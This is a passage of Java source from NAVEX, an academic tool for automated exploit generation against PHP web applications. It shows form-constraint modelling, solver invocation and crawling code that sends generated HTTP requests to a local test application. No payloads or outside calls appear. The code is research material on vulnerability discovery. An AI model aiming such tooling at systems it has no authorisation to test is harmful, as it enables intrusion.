fix#3 -- if id is null use the name in JS 417 | if (id == null) { 418 | id = name; 419 | domRepresentation += ("\tvar " + id + " = new Object();\n"); 420 | domRepresentation += ("\t" + id + ".options = options;\n"); 421 | domRepresentation += ("\t" + formName + "." + id + " = " + id + ";\n\n"); 422 | } 423 | 424 | domainsDropDown.put(name, domain); 425 | } 426 | 427 | 428 | if (!domainsDropDown.isEmpty()){ 429 | for (Entry> map: domainsDropDown.entrySet()){ 430 | //the formula her is reversed . it should be (key, list, or). 431 | Formula f = new Formula(map.getValue(), map.getKey(), "or", "form-selects", "FORM"); 432 | this.z3FormFormulas.add(f); 433 | } 434 | } 435 | 436 | 437 | for (Node t : textareas) { 438 | TextareaTag tat = (TextareaTag) t; 439 | String id = tat.getAttribute("id"); 440 | String name = tat.getAttribute("name"); 441 | String rows= tat.getAttribute("rows"); 442 | String max= tat.getAttribute("maxlength"); 443 | ArrayList nameList = new ArrayList(); 444 | nameList.add(name); 445 | Formula f; 446 | if(max != null && !max.isEmpty()){ 447 | f = new Formula(nameList, max, "maxlen", "form-textarea", "FORM"); 448 | this.z3FormFormulas.add(f); 449 | } 450 | else { 451 | f = new Formula(nameList, "0" , "minlen", "form-stextarea", "FORM"); 452 | this.z3FormFormulas.add(f); 453 | } 454 | 455 | if(name != null){ 456 | domRepresentation += ("\tvar " + name + " = new Object();\n"); 457 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 458 | domRepresentation += ("\t" + name + ".value = '?" + name + "_notamper_symbolic';\n"); 459 | } else { 460 | domRepresentation += ("\t" + name + ".value = '(post \"" + name + "_notamper_symbolic\")';\n"); 461 | } 462 | domRepresentation += ("\t" + formName + "." + name + " = " + name + ";\n\n"); 463 | } 464 | 465 | if(id != null){ 466 | domRepresentation += ("\t" + id + " = new Object();\n"); 467 | if(HTMLForm.NEW_FE_JS_OLDER_SOLVER == true){ 468 | domRepresentation += ("\t" + id + ".value = '?" + name + "_notamper_symbolic';\n"); 469 | } else { 470 | domRepresentation += ("\t" + id + ".value = '(post \"" + name + "_notamper_symbolic\")';\n"); 471 | } 472 | domRepresentation += ("\t" + formName + "." + id + " = " + id + ";\n\n"); 473 | } 474 | 475 | 476 | 477 | } 478 | 479 | 480 | 481 | domRepresentation += ("\tvar forms = new Array();\n"); 482 | domRepresentation += ("\tforms[0] = " + formName + ";\n\n"); 483 | domRepresentation += ("\tvar doc = new Object();\n"); 484 | domRepresentation += ("\tdoc.forms = forms;\n"); 485 | domRepresentation += ("\tdoc.") + formName + " = " + formName + ";\n"; 486 | 487 | domRepresentation += ("\tdoc.getElementsByTagName = NT_gebtn;\n\n"); 488 | domRepresentation += ("\tdoc.write = NT_w;\n\n"); 489 | 490 | domRepresentation += ("\tdoc.frames = new Array();\n"); 491 | domRepresentation += ("\tdoc.images = new Array();\n"); 492 | domRepresentation += ("\tdoc.links = new Array();\n"); 493 | domRepresentation += ("\tdoc.plugins = new Array();\n\n"); 494 | domRepresentation += ("\tdoc.cookie = \"\";\n"); 495 | 496 | domRepresentation += ("\treturn doc;\n}\n\n"); 497 | 498 | domRepresentation += ("function NT_gebtn(elementName){\n"); 499 | domRepresentation += (" if(elementName == \"form\")\n"); 500 | domRepresentation += (" return this.forms; \n"); 501 | domRepresentation += (" else if(elementName == \"frame\")\n"); 502 | domRepresentation += (" return this.frames;\n"); 503 | domRepresentation += (" else if(elementName == \"images\")\n"); 504 | domRepresentation += (" return this.images; \n"); 505 | domRepresentation += (" else if(elementName == \"link\")\n"); 506 | domRepresentation += (" return this.links;\n"); 507 | domRepresentation += (" else if(elementName == \"plugin\")\n"); 508 | domRepresentation += (" return this.plugins;\n"); 509 | domRepresentation += (" else\n"); 510 | domRepresentation += (" return this;\n"); 511 | domRepresentation += ("}\n"); 512 | domRepresentation += ("\n"); 513 | 514 | domRepresentation += ("function NT_w(msg){}\n"); 515 | domRepresentation += ("\n"); 516 | 517 | domRepresentation += ("\n\nvar document = new DOM();\n\n"); 518 | 519 | // create a window object 520 | windowRepresentation += "function WINDOW(){\n"; 521 | windowRepresentation += " \n"; 522 | windowRepresentation += " this.setTimeout = wsto;\n"; 523 | windowRepresentation += " this.addEventListener = wael;\n"; 524 | windowRepresentation += " this.attachEvent = wae;\n"; 525 | windowRepresentation += " this.onload = wol;\n"; 526 | windowRepresentation += " this.onunload = woul;\n"; 527 | windowRepresentation += " this.location = new Object();\n"; 528 | windowRepresentation += " this.location.pathname = \"\";\n"; 529 | windowRepresentation += "}\n"; 530 | windowRepresentation += "\n"; 531 | windowRepresentation += "function wsto(fnToCall, time){\n"; 532 | windowRepresentation += " // do nothing.\n"; 533 | windowRepresentation += "}\n"; 534 | windowRepresentation += "function wael(eventName, eventHandler, bool){}\n"; 535 | windowRepresentation += "function wae(eventName, eventHandler){}\n"; 536 | windowRepresentation += "function wol(){}\n"; 537 | windowRepresentation += "function woul(){}\n"; 538 | windowRepresentation += "\n"; 539 | windowRepresentation += "var window = new WINDOW();\n\n"; 540 | 541 | domRepresentation += "function NAVIGATOR(){\n"; 542 | domRepresentation += " this.userAgent = 'mozilla';\n"; 543 | domRepresentation += " this.appVersion = '3.0';\n"; 544 | domRepresentation += "}\n\n"; 545 | 546 | domRepresentation += "var navigator = new NAVIGATOR();\n"; 547 | domRepresentation += 548 | "var location = new Object(); \n" + 549 | "location.href = \"\"; \n " ; 550 | 551 | 552 | 553 | //finally we analyze the submit buttons 554 | 555 | if (submits.size() > 1){ 556 | HashSet ret =new HashSet(); 557 | HashSet tempFormulas = new HashSet(); 558 | tempFormulas.addAll(this.z3FormFormulas); 559 | int i = 0 ; 560 | for(Entry map: submits.entrySet()) { 561 | if (i == 0) 562 | this.z3FormFormulas.add(map.getValue()); 563 | else 564 | { 565 | HTMLForm hf = new HTMLForm (form, url, this.commonJS); 566 | hf.z3FormFormulas.add(map.getValue()); 567 | hf.z3FormFormulas.addAll(tempFormulas); 568 | ret.add(hf); 569 | } 570 | i++; 571 | } 572 | return ret; 573 | } 574 | else if (submits.size() == 1) { 575 | this.z3FormFormulas.add(submits.values().iterator().next()); 576 | return null; 577 | } 578 | else 579 | return null; 580 | 581 | 582 | } 583 | 584 | public void simulateJSValidation() { 585 | FormTag form2 = (FormTag) form; 586 | String formName = form2.getFormName() == null ? "form1" : form2 587 | .getFormName(); 588 | String onSubmit = form2.getAttribute("onSubmit"); 589 | 590 | jsValidation = ""; 591 | if (onSubmit != null && onSubmit != "") { 592 | onSubmit = onSubmit.replaceAll("&", "&"); 593 | onSubmit = onSubmit.replaceAll(""", "\""); 594 | onSubmit = onSubmit.replaceAll("<", "<"); 595 | onSubmit = onSubmit.replaceAll(">", ">"); 596 | onSubmit = onSubmit.replaceAll("this\\.", "formThis\\."); 597 | onSubmit = onSubmit.replaceAll(" this ", " formThis "); 598 | onSubmit = onSubmit.replaceAll("(this)", " formThis"); 599 | 600 | // now simulate this reference by initializing the formThis var; 601 | onSubmit = " var formThis = document.forms[0]; \n " + onSubmit; 602 | jsValidation += ("\n// Event Simulation\n"); 603 | jsValidation += ("function onSubmit_" + formName + "()\n{\n"); 604 | jsValidation += ("\t" + onSubmit + ";\n}\n\n"); 605 | jsValidation += ("onSubmit_" + formName + "();\n\n"); 606 | } 607 | 608 | if (jsValidation == null || jsValidation.equals("") 609 | || jsValidation.trim() == "") { 610 | jsValidation = " DO_NOT_PROCESS_NOTAMPER"; 611 | } else { 612 | jsValidation = ("notamper_execution_begins = true;\n\n") 613 | + jsValidation; 614 | jsValidation += ("notamper_execution_ends = true;\n\n"); 615 | } 616 | } 617 | 618 | 619 | public String getHelperFuncs() { 620 | this.helperFuns += "function alert(msg){}\n"; 621 | this.helperFuns += "function confirm(msg){}\n"; 622 | this.helperFuns += "function prompt(msg){}\n"; 623 | this.helperFuns += "function unescape(s){}\n"; 624 | return this.helperFuns; 625 | } 626 | 627 | 628 | 629 | 630 | 631 | } -------------------------------------------------------------------------------- /src/Main.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 4 | * 5 | */ 6 | package navex; 7 | 8 | import java.io.BufferedReader; 9 | import java.io.IOException; 10 | import java.io.InputStreamReader; 11 | import java.net.URISyntaxException; 12 | import java.util.ArrayList; 13 | import java.util.List; 14 | import java.util.concurrent.TimeUnit; 15 | 16 | import org.apache.http.NameValuePair; 17 | import org.apache.http.client.ClientProtocolException; 18 | import org.htmlparser.tags.FormTag; 19 | import org.slf4j.Logger; 20 | import org.slf4j.LoggerFactory; 21 | 22 | 23 | import edu.uci.ics.crawler4j.crawler.CrawlConfig; 24 | import edu.uci.ics.crawler4j.crawler.Page; 25 | import edu.uci.ics.crawler4j.fetcher.PageFetcher; 26 | import edu.uci.ics.crawler4j.util.IO; 27 | import navex.formula.Trace; 28 | import navex.formula.TraceAnalysis; 29 | import navex.graphDatabase.NeoGraphDatabase; 30 | import navex.solver.DynamicSolver; 31 | import navex.solver.Solver; 32 | import navex.solver.SolverModel; 33 | import edu.uci.ics.crawler4j.parser.HtmlParseData; 34 | 35 | 36 | public class Main { 37 | private static final Logger logger = LoggerFactory.getLogger(Main.class); 38 | 39 | 40 | 41 | public static void main(String[] args) { 42 | long startTime = System.currentTimeMillis(); 43 | CrawlConfig config = null; 44 | 45 | NeoGraphDatabase graph = new NeoGraphDatabase(); 46 | 47 | try { 48 | config =BasicCrawlController.crawlerMain(args, graph); 49 | } catch (Exception e) { 50 | e.printStackTrace(); 51 | } 52 | //reinitiat the authentication before analyzing forms. 53 | PageFetcher pageFetcher = new PageFetcher(config); 54 | 55 | startFormAnalyzer(pageFetcher, graph); 56 | 57 | //shutDown the pagefetcher 58 | pageFetcher.shutDown(); 59 | long analysisEndTime = System.currentTimeMillis(); 60 | long analysisDiffTime = (analysisEndTime - startTime); 61 | 62 | System.out.println("=====TOTAL Crawling+ processing time is====="+analysisDiffTime); 63 | 64 | } 65 | 66 | 67 | /* 68 | * This method performs the following: 69 | * 1- call solver. The solver generates a model 70 | * 2- process model. 71 | * 3- generate an http request from the model. 72 | * 4- send the http request to the application. The app generates a trace. 73 | * 5- use Joern (enhanced CPG) to analyze the Trace. 74 | * 6- traverse the trace to check : 75 | * 1- failed trace : collect constraints + repeat from (1) 76 | * 2- success trace : add the Http request to seed pool + create Neoj4 77 | * nodes. 78 | * 79 | */ 80 | public static void startFormAnalyzer(PageFetcher pageFetcher, 81 | NeoGraphDatabase graph){ 82 | 83 | logger.debug("Analyzing Forms"); 84 | 85 | if (CrawlerFilter.getAllPages() != null){ 86 | logger.debug(" ....Starting to process Forms in the app...."); 87 | for (Page page : CrawlerFilter.getAllPages()){ 88 | System.out.println("analyzing forms in "+page.getWebURL().getURL()); 89 | 90 | int counter = 0; 91 | 92 | if (page.getParseData() instanceof HtmlParseData ) 93 | { HtmlParseData ff = ((HtmlParseData)page.getParseData()); 94 | 95 | for (HTMLForm form:ff.getForms() ){ 96 | List params = null; 97 | String method = ((FormTag)form.getForm()).getFormMethod(); 98 | String action = ((FormTag)form.getForm()).getFormLocation(); 99 | 100 | System.out.println(" form located in : "+ form.getUrl()); 101 | System.out.println(" form action is:" + action); 102 | //if it it a login form --> continue; 103 | boolean flag = false ; 104 | for (String p : Options.getLoginFile()){ 105 | if (action.equalsIgnoreCase(p)){ 106 | flag = true; 107 | break; 108 | } 109 | } 110 | if (flag) 111 | continue; 112 | 113 | // input: form's solver spec file , form method{get/post} 114 | //and action i.e. url 115 | 116 | Solver solve = new Solver(form.getZ3FormFormulas()); 117 | String spec = solve.prepareSolver(); 118 | String temp = form.getUrl().replace("http://", ""); 119 | String cFile = "formsSpec/"+temp+"__"+(counter); 120 | //Z3-str3 does not accept file name that has = ? or & 121 | cFile= cFile.replace("?", "_").replace("&", "_").replace("=", "_"); 122 | 123 | IO.writeToFile(cFile, spec, false); 124 | //js support 125 | String js= form.getHelperFuncs() 126 | + form.domRepresentation + " \n " + form.windowRepresentation 127 | + "\n" + form.commonJS + " \n " + form.jsValidation; 128 | 129 | IO.writeToFile(cFile+".scripts", js, false); 130 | 131 | extractJSConstraints(cFile+".scripts"); 132 | 133 | 134 | 135 | invokeSolver(cFile); 136 | 137 | 138 | if (action.isEmpty()) 139 | action= form.getUrl(); 140 | if (action.startsWith("./") && !action.equals("./")){ 141 | int start=0; 142 | String localhost= "localhost"; 143 | //The following is specific to Navex's evaluation. Edit as needed. 144 | if (cFile.indexOf("localhost/") > 0) 145 | { 146 | start = cFile.indexOf("localhost/")+10; 147 | 148 | } 149 | else if (cFile.indexOf("192.168.0.123/") > 0) 150 | { 151 | start = cFile.indexOf("192.168.0.123/")+14; 152 | localhost = "192.168.0.123"; 153 | } 154 | //End 155 | 156 | String appName= cFile.substring(start, cFile.indexOf("/", start)+1); 157 | 158 | action = "http://"+localhost+"/".concat(appName).concat(action.replace("./", "")); 159 | } 160 | else if (action.startsWith("./") && action.equals("./")){ 161 | action=form.getUrl(); 162 | } 163 | else if (!action.startsWith("http://") && (action.startsWith("localhost") || 164 | action.startsWith("192.168.0.123") )) 165 | action= "http://".concat(action); 166 | else if (!action.startsWith("http://localhost/") || !action.startsWith("192.168.0.123") ){ 167 | 168 | int start = 0; String localhost = "localhost"; 169 | 170 | if (cFile.indexOf("localhost/") > 0) 171 | { 172 | start = cFile.indexOf("localhost/")+10; 173 | 174 | } 175 | else if (cFile.indexOf("192.168.0.123/") > 0) 176 | { 177 | start = cFile.indexOf("192.168.0.123/")+14; 178 | localhost = "192.168.0.123"; 179 | } 180 | 181 | 182 | 183 | String appName= cFile.substring(start, cFile.indexOf("/", start)+1); 184 | 185 | action = "http://"+localhost+"/".concat(appName).concat(action); 186 | } 187 | //update the form action 188 | ((FormTag)form.getForm()).setFormLocation(action); 189 | ; 190 | String[] mArgs = {cFile+".model", method, action, "form"}; 191 | SolverModel model = new SolverModel(); 192 | try { 193 | params = model.main(mArgs, pageFetcher); 194 | } catch (ClientProtocolException e) { 195 | // TODO Auto-generated catch block 196 | e.printStackTrace(); 197 | } catch (IOException e) { 198 | // TODO Auto-generated catch block 199 | e.printStackTrace(); 200 | } catch (URISyntaxException e) { 201 | // TODO Auto-generated catch block 202 | e.printStackTrace(); 203 | } 204 | //we have to invoke the traversal ONLY if its a failed trace 205 | //Again. This is specific to Navex's evaluation. Please edit as needed. 206 | if (!IO.IsSuccTrace("/home/user/log/trace.xt")){ 207 | invokeTraversal(); 208 | //loop until we have a successful trace 209 | Trace t = new Trace(form.getZ3FormFormulas(), 210 | DynamicSolver.getServerFormula()); 211 | String combinedSpec = TraceAnalysis.start(t, form); 212 | String tt = form.getUrl().replace("http://", ""); 213 | String comFile = "CombinedSpec/"+tt+"__"+(counter); 214 | //Z3-str3 does not accept a file name that has: =, ? , & 215 | comFile= comFile.replace("?", "_").replace("&", "_").replace("=", "_"); 216 | 217 | IO.writeToFile(comFile, combinedSpec, false); 218 | 219 | //invoke the solver again for the combined contraraits Fc+Fs(trace) 220 | invokeSolver(comFile); 221 | 222 | String[] mArgsTrace = {comFile+".model", method, action, "trace"}; 223 | model = new SolverModel(); 224 | try { 225 | params = model.main(mArgsTrace, pageFetcher); 226 | } catch (ClientProtocolException e) { 227 | // TODO Auto-generated catch block 228 | e.printStackTrace(); 229 | } catch (IOException e) { 230 | // TODO Auto-generated catch block 231 | e.printStackTrace(); 232 | } catch (URISyntaxException e) { 233 | // TODO Auto-generated catch block 234 | e.printStackTrace(); 235 | } 236 | 237 | 238 | } 239 | //successful trace 240 | //add nodes to the navigation graph 241 | else { 242 | graph.StartNeoDb(page, form ,"form", params, method); 243 | } 244 | 245 | counter++; 246 | } 247 | } 248 | } 249 | } 250 | else 251 | logger.debug("There are NO forms to process ..\n End of the analysis"); 252 | } 253 | // Edit paths to main.py 254 | private static void invokeTraversal() { 255 | System.out.println( " --------------------------------------------------------------\n"); 256 | System.out.println( " Invoking the gremlin Traversal script (main.py) ...\n"); 257 | System.out.println( " --------------------------------------------------------------\n"); 258 | 259 | String cm = "cd /home/user/python-joern/ ;source .env/bin/activate;"; 260 | cm += "python /home/user/python-joern/main.py"; 261 | System.out.println( cm+ "\n"); 262 | String[] cmd = { "/bin/sh", "-c", cm }; 263 | 264 | try 265 | { 266 | Process p = Runtime.getRuntime().exec( cmd ); 267 | p.waitFor(); 268 | } catch( IOException e ) 269 | { 270 | System.err.println( "Error invoking the traversal script: " + cm ); 271 | } catch( InterruptedException e ) 272 | { 273 | // TODO Auto-generated catch block 274 | e.printStackTrace(); 275 | } 276 | 277 | 278 | } 279 | // Edit paths to Z3-str.py 280 | public static void invokeSolver(String cFile) { 281 | 282 | System.out.println( " --------------------------------------------------------------\n"); 283 | System.out.println( " Generating Inputs ...\n"); 284 | System.out.println( " --------------------------------------------------------------\n"); 285 | 286 | System.out.println( " Step 1 : Invokign the solver \n "); 287 | String cm = "./../../Z3-str2/Z3-str.py -f "+cFile+" > "+cFile+".model"; 288 | System.out.println( cm+ "\n"); 289 | String[] cmd = { "/bin/sh", "-c", cm }; 290 | 291 | try 292 | { 293 | Process proc = Runtime.getRuntime().exec( cmd ); 294 | 295 | // any error??? 296 | //this is very important 297 | boolean exitVal = proc.waitFor(5, TimeUnit.SECONDS); 298 | System.out.println("ExitValue: " + exitVal); 299 | proc.destroy(); 300 | } catch (Throwable t) 301 | { 302 | t.printStackTrace(); 303 | } 304 | } 305 | 306 | //Edit path to narcissus engin 307 | private static void extractJSConstraints(String srcFile) { 308 | 309 | // if the HTML constraints did not have any meaningful JS, do 310 | // not process them. 311 | // HTML constraint generator places the DO_NOT_PROCESS_NOTAMPER 312 | // flag in the scripts that need not be processed. 313 | System.out.println( "--------------------------------------------------------------\n"); 314 | System.out.println( "Extracting JavaScript constraints...\n"); 315 | System.out.println( "--------------------------------------------------------------\n"); 316 | 317 | 318 | //Edit path to narcissus engin 319 | String narc="/home/user/repos/navex/js-1.8.5/js/narcissus"; 320 | 321 | 322 | boolean dontProcess = IO.grep(srcFile, "DO_NOT_PROCESS_NOTAMPER"); 323 | 324 | if ( dontProcess ){ 325 | System.out.println( "Processing "+srcFile+"...skipping\n"); 326 | } 327 | else{ 328 | System.out.println( "Processing "+srcFile+"...\n"); 329 | try 330 | { 331 | IO.copyFile(srcFile, narc+"/test.js"); 332 | } catch( IOException e ) 333 | { 334 | System.err.println( "Error invoking cp : " ); 335 | } 336 | String newDir= System.getProperty("user.dir") +"/"+narc; 337 | System.out.println("Executing - "+narc+"/../src/dist/bin/js js.js > "+srcFile+".log\n"); 338 | 339 | String cm= narc+"/../src/dist/bin/js js.js > "+srcFile+".log"; 340 | String[] cmd2 = { "/bin/sh", "-c", cm }; 341 | 342 | 343 | try 344 | { 345 | Process p = Runtime.getRuntime().exec( cmd2 ); 346 | p.waitFor(); 347 | } catch( IOException e ) 348 | { 349 | System.err.println( "Error invoking narc : " + cm ); 350 | } catch( InterruptedException e ) 351 | { 352 | // TODO Auto-generated catch block 353 | e.printStackTrace(); 354 | } 355 | 356 | String jscFile =srcFile.replace(".scripts.log", ".constraints_JS"); 357 | 358 | String toRemove="JavaScript evaluator generated these constraints NTBEGIN"; 359 | 360 | IO.copyFile(srcFile, jscFile, toRemove, ""); 361 | 362 | System.out.println( " Generated JS constraints in "+jscFile+" \n"); 363 | } 364 | 365 | System.out.println( "DONE extracing JS constraints\n"); 366 | 367 | } 368 | 369 | 370 | } 371 | -------------------------------------------------------------------------------- /src/Options.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 4 | * 5 | */ 6 | package navex; 7 | 8 | import java.util.ArrayList; 9 | 10 | 11 | public class Options { 12 | static ArrayList loginFile = new ArrayList(); 13 | public static ArrayList getLoginFile() { 14 | return loginFile; 15 | } 16 | public static void setLoginFile(ArrayList loginF) { 17 | loginFile = loginF; 18 | 19 | } 20 | ArrayList loginpass = new ArrayList(); 21 | ArrayList loginuser = new ArrayList(); 22 | 23 | 24 | 25 | } 26 | -------------------------------------------------------------------------------- /src/formula/Formula.java: -------------------------------------------------------------------------------- 1 | /** 2 | * @author Abeer Alhuzali 3 | * This class represents the TAC formula 4 | * For more information, please read "NAVEX: Precise and Scalable Exploit Generation for Dynamic Web Applications" 5 | * 6 | */ 7 | package navex.formula; 8 | 9 | import java.util.ArrayList; 10 | import java.util.HashSet; 11 | 12 | public class Formula { 13 | 14 | public Formula() { 15 | this.leftOp=new ArrayList(); 16 | this.rightOp = ""; 17 | this.operator = ""; 18 | this.type=""; 19 | this.returnVar=""; 20 | this.ifCond=""; 21 | this.id=""; 22 | this.source =""; 23 | 24 | } 25 | 26 | ArrayList leftOp; 27 | String rightOp; 28 | String operator; 29 | String type; //if the formula extracted from if-else or built in function , Form or Link 30 | String id; //used only in traversals 31 | String source; //to distinguish the source of the extracted formulas. e.g. either FORM or TRACE 32 | 33 | 34 | public String getSource() { 35 | return source; 36 | } 37 | 38 | public void setSource(String source) { 39 | this.source = source; 40 | } 41 | 42 | public String getType() { 43 | return type; 44 | } 45 | 46 | public void setType(String type) { 47 | this.type = type; 48 | } 49 | 50 | public String getReturnVar() { 51 | return returnVar; 52 | } 53 | 54 | public void setReturnVar(String returnVar) { 55 | this.returnVar = returnVar; 56 | } 57 | 58 | String returnVar; 59 | String ifCond; 60 | 61 | public String getIfCond() { 62 | return ifCond; 63 | } 64 | 65 | public void setIfCond(String ifCond) { 66 | this.ifCond = ifCond; 67 | } 68 | 69 | 70 | public Formula(ArrayList leftOp, String rightOp, String operator, String type, String source) { 71 | 72 | this.leftOp = leftOp; 73 | this.rightOp = rightOp; 74 | this.operator = operator; 75 | 76 | this.source=source; 77 | this.type=type; 78 | this.ifCond=""; 79 | } 80 | 81 | 82 | 83 | public Formula(ArrayList leftOp, String rightOp, String operator, String type) { 84 | 85 | this.leftOp = leftOp; 86 | this.rightOp = rightOp; 87 | this.operator = operator; 88 | this.type=type; 89 | this.returnVar=""; 90 | this.ifCond=""; 91 | 92 | 93 | } 94 | 95 | 96 | 97 | 98 | public Formula(Formula fm) { 99 | 100 | this(fm.leftOp, fm.rightOp, fm.operator, fm.type); 101 | this.id= fm.id; 102 | this.source=fm.source; 103 | } 104 | 105 | public ArrayList getLeftOp() { 106 | return leftOp; 107 | } 108 | 109 | public void setLeftOp(ArrayList leftOp) { 110 | this.leftOp = leftOp; 111 | } 112 | 113 | public String getRightOp() { 114 | return rightOp; 115 | } 116 | 117 | public void setRightOp(String rightOp) { 118 | this.rightOp = rightOp; 119 | } 120 | 121 | public String getOperator() { 122 | return operator; 123 | } 124 | 125 | public void setOperator(String operator) { 126 | this.operator = operator; 127 | } 128 | 129 | 130 | @Override 131 | public int hashCode() { 132 | final int prime = 31; 133 | int result = 1; 134 | result = ((leftOp == null) ? 0 : leftOp.hashCode()) 135 | + ((rightOp == null) ? 0 : rightOp.hashCode()) 136 | + ((operator == null) ? 0 : operator.hashCode()) 137 | + ((returnVar == null) ? 0 : returnVar.hashCode()) 138 | + ((type == null) ? 0 : type.hashCode()) 139 | + ((source == null) ? 0 : source.hashCode()) 140 | + ((id == null) ? 0 : id.hashCode()); 141 | return result; 142 | } 143 | 144 | @Override 145 | public boolean equals(final Object obj) { 146 | if (this == obj) 147 | return true; 148 | if (obj == null) 149 | return false; 150 | if (getClass() != obj.getClass()) 151 | return false; 152 | final Formula other = (Formula) obj; 153 | if (leftOp == null) { 154 | if (other.leftOp != null) 155 | return false; 156 | } else if (!leftOp.equals(other.leftOp)) 157 | return false; 158 | 159 | if (rightOp == null) { 160 | if (other.rightOp != null) 161 | return false; 162 | } else if (!rightOp.equals(other.rightOp)) 163 | return false; 164 | 165 | if (operator == null) { 166 | if (other.operator != null) 167 | return false; 168 | } else if (!operator.equals(other.operator)) 169 | return false; 170 | 171 | if (type == null) { 172 | if (other.type != null) 173 | return false; 174 | } else if (!type.equals(other.type)) 175 | return false; 176 | 177 | if (id == null) { 178 | if (other.id != null) 179 | return false; 180 | } else if (!id.equals(other.id)) 181 | return false; 182 | 183 | if (returnVar == null) { 184 | if (other.returnVar != null) 185 | return false; 186 | } else if (!returnVar.equals(other.returnVar)) 187 | return false; 188 | 189 | 190 | if (source == null) { 191 | if (other.source != null) 192 | return false; 193 | } else if (!source.equals(other.source)) 194 | return false; 195 | 196 | return true; 197 | } 198 | 199 | @Override 200 | public String toString() { 201 | 202 | return "Formula [leftOp=" + leftOp + ", rightOp=" + rightOp 203 | + ", operator " + operator + ", returnValue " + returnVar + ", formula type " + type + ", id " + id +"]"; 204 | } 205 | public String getId() { 206 | return id; 207 | } 208 | 209 | public void setId(String id) { 210 | this.id = id; 211 | } 212 | 213 | public String toStringUnary() { 214 | 215 | return "Formula [leftOp=" + leftOp + ", operator " + operator + 216 | rightOp + "= + rightOp" 217 | +"]"; 218 | } 219 | 220 | //checks the leftop and rightop to get the super globals 221 | public HashSet getSuperGlobals() { 222 | HashSet ret= new HashSet(); 223 | if (this.getRightOp().trim().startsWith("$_GET") 224 | || this.getRightOp().trim().startsWith("$_POST") 225 | || this.getRightOp().trim().startsWith("$_REQUEST") 226 | || this.getRightOp().trim().startsWith("$HTTP_POST_VARS") 227 | || this.getRightOp().trim().startsWith("$HTTP_GET_VARS") 228 | 229 | ) 230 | ret.add(this.getRightOp()); 231 | else { 232 | for (String left : this.getLeftOp()){ 233 | if (left.trim().startsWith("$_GET") 234 | || left.trim().startsWith("$_POST") 235 | || left.trim().startsWith("$_REQUEST") 236 | || left.trim().startsWith("$HTTP_POST_VARS") 237 | || left.trim().startsWith("$HTTP_GET_VARS") 238 | 239 | ) 240 | ret.add(left); 241 | } 242 | } 243 | 244 | return ret; 245 | } 246 | 247 | } 248 | -------------------------------------------------------------------------------- /src/formula/InferType.java: -------------------------------------------------------------------------------- 1 | /* 2 | * @author : NoTamper and WAPTIC 3 | * 4 | * */ 5 | 6 | 7 | 8 | package navex.formula; 9 | 10 | import java.util.ArrayList; 11 | import java.util.SortedSet; 12 | import java.util.TreeSet; 13 | 14 | 15 | 16 | 17 | public class InferType { 18 | 19 | // TODO: find better ways to cover all cases 20 | // kludge algo : 21 | // 1. if value is "" : default inference of STRING. 22 | // 2. try to parse hex/oct/dec numbers 23 | // - if a number format exception is thrown it is likely a string 24 | // - otherwise a string 25 | // 3. If string, test for the presence of char, digit, @, ., to select 26 | // appropriate type 27 | // sValue is the value of a control 28 | // return value is a regular expression capturing type of the 29 | // value in PERL regular expressions e.g., 30 | // STRING: /[a-zA-Z]*/ 31 | // STRING email context: /[a-zA-Z\@\.]*/ 32 | // STRING alphanumeric : /[a-zA-Z0-9]*/ 33 | // Number: /[0-9]*/ 34 | public static final String TNUM_DEC = "/[\\-0-9]*/"; 35 | public final static String TNUM_HEX = "/[\\-xX0-9a-f]*/"; 36 | public final static String TNUM_OCT = "/[\\-0-7]*/"; 37 | public static final int TEXT_TYPE = 1; 38 | 39 | public final static String TSTR_ASCII_SPACE = "/[a-zA-Z\\\\n\\\\r\\\\t ]*/"; 40 | public final static String TSTR_ASCII = "/[a-zA-Z]*/"; 41 | public final static String TSTR_TYPE= TSTR_ASCII; 42 | 43 | public static String inferType(String sValue) { 44 | if (sValue == null || sValue == "" || sValue == " " || sValue.trim() == "") 45 | return TSTR_TYPE; 46 | 47 | // ideally we should check the most constrained numeric system first : 48 | // not a perfect sol 49 | // but then value=00 is causing days of a date to have octal number 50 | // system. 51 | // reversed it : with more inputs perhaps we can catch problems 52 | try { 53 | Integer.parseInt(sValue, 16); 54 | return TNUM_HEX; 55 | } catch (Exception e) { 56 | } 57 | try { 58 | Integer.parseInt(sValue, 10); 59 | return TNUM_DEC; 60 | } catch (Exception e) { 61 | } 62 | try { 63 | Integer.parseInt(sValue, 8); 64 | return TNUM_OCT; 65 | } catch (Exception e) { 66 | } 67 | 68 | String sReg = ""; 69 | // if(sValue.indexOf("@") != -1) sReg += "\\@"; 70 | // if(sValue.indexOf(".") != -1) sReg += "\\."; 71 | // if(sValue.matches("0-9")) sReg += "0-9"; 72 | SortedSet ss = new TreeSet(); 73 | for (char c : sValue.toCharArray()) { 74 | // if(!Character.isLetter(c)) 75 | ss.add(c); 76 | } 77 | 78 | String csUniq = ""; 79 | for (Character ch : ss) 80 | csUniq += ch.charValue(); 81 | 82 | // now escape the PERL special chars 83 | csUniq = perlEscape(csUniq); 84 | if (csUniq == ""){ 85 | //csUniq = "a-zA-Z\\\\t\\\\r\\\\n "; 86 | sValue = TSTR_TYPE; 87 | } else { 88 | 89 | sValue = "/[" + sReg + csUniq + "]*/"; 90 | } 91 | 92 | return sValue; 93 | } 94 | 95 | public static String inferType(ArrayList alValues) { 96 | String sValue = ""; 97 | if (alValues == null || alValues.size() == 0) 98 | return TSTR_TYPE; 99 | //return "/[a-zA-Z\\\\t\\\\r\\\\n ]*/"; 100 | 101 | String csUniq = ""; 102 | if(alValues.size() == 1){ 103 | SortedSet ss = new TreeSet(); 104 | for (String sv : alValues) { 105 | if (sv == null) 106 | continue; 107 | for (char c : sv.toCharArray()) { 108 | // if(!Character.isLetter(c)) 109 | ss.add(c); 110 | } 111 | } 112 | 113 | for (Character ch : ss) 114 | csUniq += ch.charValue(); 115 | 116 | // now escape the PERL special chars 117 | csUniq = perlEscape(csUniq); 118 | if (csUniq == ""){ 119 | //csUniq = "a-zA-Z\\\\n\\\\r\\\\t "; 120 | sValue = TSTR_TYPE; 121 | } else { 122 | sValue = "/[" + csUniq + "]*/"; 123 | } 124 | } else { 125 | int iLast = alValues.size(); 126 | int iC = 1; 127 | for(String sv : alValues){ 128 | String s = sv.trim(); 129 | if(sv.equals("")){ 130 | // solver workaround: 131 